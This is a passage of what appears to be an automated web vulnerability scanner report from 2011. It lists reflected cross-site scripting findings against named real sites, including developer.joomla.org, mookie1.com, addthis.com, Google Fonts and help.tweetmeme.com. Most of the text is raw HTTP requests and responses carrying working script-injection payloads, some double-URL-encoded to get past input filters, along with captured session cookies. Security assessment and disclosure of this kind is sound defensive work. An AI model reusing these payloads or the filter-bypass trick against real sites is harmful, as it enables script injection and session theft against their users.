There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53028%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee019f420596 was submitted in the REST URL parameter 2. This input was echoed as 53028"><img src=a onerror=alert(1)>e019f420596 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /security/53028%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee019f420596 HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.69. http://developer.joomla.org/security/news.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://developer.joomla.org
Path:
/security/news.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dce01%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e865402a94b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dce01\\\"><script>alert(1)</script>865402a94b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /security/news.html?dce01%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e865402a94b=1 HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26ca8%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e15c9b3e2c1f was submitted in the REST URL parameter 1. This input was echoed as 26ca8"><img src=a onerror=alert(1)>15c9b3e2c1f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /26ca8%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e15c9b3e2c1f HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 39f24a85b5d169a21046edfe6eaa5320=95e1cdffac3a54787d3c76b571d6fde2; __utmz=194671032.1295890937.1.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/20; __utma=194671032.1441739327.1295885228.1295885228.1295885228.1; __utmc=194671032; __utmb=194671032.18.10.1295890937;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 619ee"><script>alert(1)</script>2b06e2712f8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM619ee"><script>alert(1)</script>2b06e2712f8/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/DataXuB3/Dominos/11Q1/Opt/120/1[timestamp]@x90 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:31:48 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 333 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e9345525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d60cc"><script>alert(1)</script>4f017f29e35 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/2010DMd60cc"><script>alert(1)</script>4f017f29e35/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/DataXuB3/Dominos/11Q1/Opt/120/1[timestamp]@x90 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:32:02 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 334 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f6bd"><script>alert(1)</script>eb615743a72 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/2010DM/1596198292@x231f6bd"><script>alert(1)</script>eb615743a72?USNetwork/Dominos_11Q1_DXU_Opt_120 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/DataXuB3/Dominos/11Q1/Opt/120/1[timestamp]@x90 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:32:14 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 325 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2d45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a398"><script>alert(1)</script>d8345505b59 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM7a398"><script>alert(1)</script>d8345505b59/DLX/11596989115@x92? HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; session=1295919344|1295919344; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 330 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2b45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a71cf"><script>alert(1)</script>38508b24698 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLXa71cf"><script>alert(1)</script>38508b24698/11596989115@x92? HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; session=1295919344|1295919344; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 330 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6fb7"><script>alert(1)</script>41ff5d04ea0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLX/11596989115@x92b6fb7"><script>alert(1)</script>41ff5d04ea0? HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; session=1295919344|1295919344; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:48 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 322 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44cca"><script>alert(1)</script>4362d4b98ab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM44cca"><script>alert(1)</script>4362d4b98ab/DLX/@x94 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://mig.nexac.com/2/B3DM/DLX/1@x96 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660; session=1295919344|1295919348; dlx_7d=set
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:32:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 331 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e9045525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8295a"><script>alert(1)</script>ab128e6cc17 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLX8295a"><script>alert(1)</script>ab128e6cc17/@x94 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://mig.nexac.com/2/B3DM/DLX/1@x96 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660; session=1295919344|1295919348; dlx_7d=set
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:32:28 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 330 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2b45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0658"><script>alert(1)</script>c1c3d6e2b7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLX/@x94d0658"><script>alert(1)</script>c1c3d6e2b7 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://mig.nexac.com/2/B3DM/DLX/1@x96 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660; session=1295919344|1295919348; dlx_7d=set
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:32:45 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 321 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2045525d5f4f58455e445a4a423660;path=/
<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLX/653717829/x94d0658"><script>alert(1)</script>c1c3d6e2b7/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG S ...[SNIP]...
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload a0a26<script>alert(1)</script>d00f3446e86 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/sites/www.abbreviations.com/p.json?callback=_ate.ad.hpra0a26<script>alert(1)</script>d00f3446e86&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&ref=http%3A%2F%2Fburp%2Fshow%2F32&po6wxt HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%7D..1295452270.19F|1295378586.60|1293848200.66; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 391 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Mon, 24 Jan 2011 21:59:41 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Wed, 23 Feb 2011 21:59:41 GMT; Path=/ Set-Cookie: di=%7B%7D..1295452270.19F|1295906381.60|1293848200.66; Domain=.addthis.com; Expires=Wed, 23-Jan-2013 11:56:43 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Mon, 24 Jan 2011 21:59:41 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 21:59:41 GMT Connection: close
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload ff7e4<script>alert(1)</script>21aaae9acf7 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/sites/www3.whdh.com/p.json?callback=_ate.ad.hprff7e4<script>alert(1)</script>21aaae9acf7&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww3.whdh.com%2Fmobile%2Fphoneforecast%2Fsettings.php%2F5bebc%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eb51006e4a2e&ref=http%3A%2F%2Fburp%2Fshow%2F48&tb1nil HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; psc=4; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295903322.60|1295452270.19F|1293848200.66; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 131 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Tue, 25 Jan 2011 04:29:55 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Thu, 24 Feb 2011 04:29:55 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Tue, 25 Jan 2011 04:29:55 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 25 Jan 2011 04:29:55 GMT Connection: close
The value of the family request parameter is copied into the HTML document as plain text between tags. The payload b4d14<script>alert(1)</script>9fc417d1dbb was submitted in the family parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /css?family=Cantarellb4d14<script>alert(1)</script>9fc417d1dbb HTTP/1.1 Host: fonts.googleapis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/css; charset=UTF-8 Expires: Mon, 24 Jan 2011 15:11:56 GMT Date: Mon, 24 Jan 2011 15:11:56 GMT Cache-Control: private, max-age=86400 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
/* Cantarellb4d14<script>alert(1)</script>9fc417d1dbb (style: normal, weight: 400) is not available */ /* Not supported. */
4.83. http://help.tweetmeme.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5332"><script>alert(1)</script>43dac7f67f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a5332\"><script>alert(1)</script>43dac7f67f9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?a5332"><script>alert(1)</script>43dac7f67f9=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fd1e"><script>alert(1)</script>1c4a5b86e64 was submitted in the REST URL parameter 4. This input was echoed as 3fd1e\"><script>alert(1)</script>1c4a5b86e64 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2009/04/07/api-documentation3fd1e"><script>alert(1)</script>1c4a5b86e64/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:05:46 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=cmb3lt8g6m025676m7qpv6hnf2; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:05:46 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/2009/04/07/api-documentation3fd1e\"><script>alert(1)</script>1c4a5b86e64/"/> ...[SNIP]...
4.85. http://help.tweetmeme.com/2009/04/07/api-documentation/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/2009/04/07/api-documentation/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12e07"><script>alert(1)</script>ffe8af704e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 12e07\"><script>alert(1)</script>ffe8af704e4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2009/04/07/api-documentation/?12e07"><script>alert(1)</script>ffe8af704e4=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 228c5"><script>alert(1)</script>c8bff7fe0f0 was submitted in the REST URL parameter 4. This input was echoed as 228c5\"><script>alert(1)</script>c8bff7fe0f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2009/04/09/rss-feeds228c5"><script>alert(1)</script>c8bff7fe0f0/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:05:21 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=jgu7690q9kkdm0pmlen86vtk86; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:05:22 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16228
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/2009/04/09/rss-feeds228c5\"><script>alert(1)</script>c8bff7fe0f0/"/> ...[SNIP]...
4.87. http://help.tweetmeme.com/2009/04/09/rss-feeds/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/2009/04/09/rss-feeds/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 189b3"><script>alert(1)</script>cebdedbe062 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 189b3\"><script>alert(1)</script>cebdedbe062 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2009/04/09/rss-feeds/?189b3"><script>alert(1)</script>cebdedbe062=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
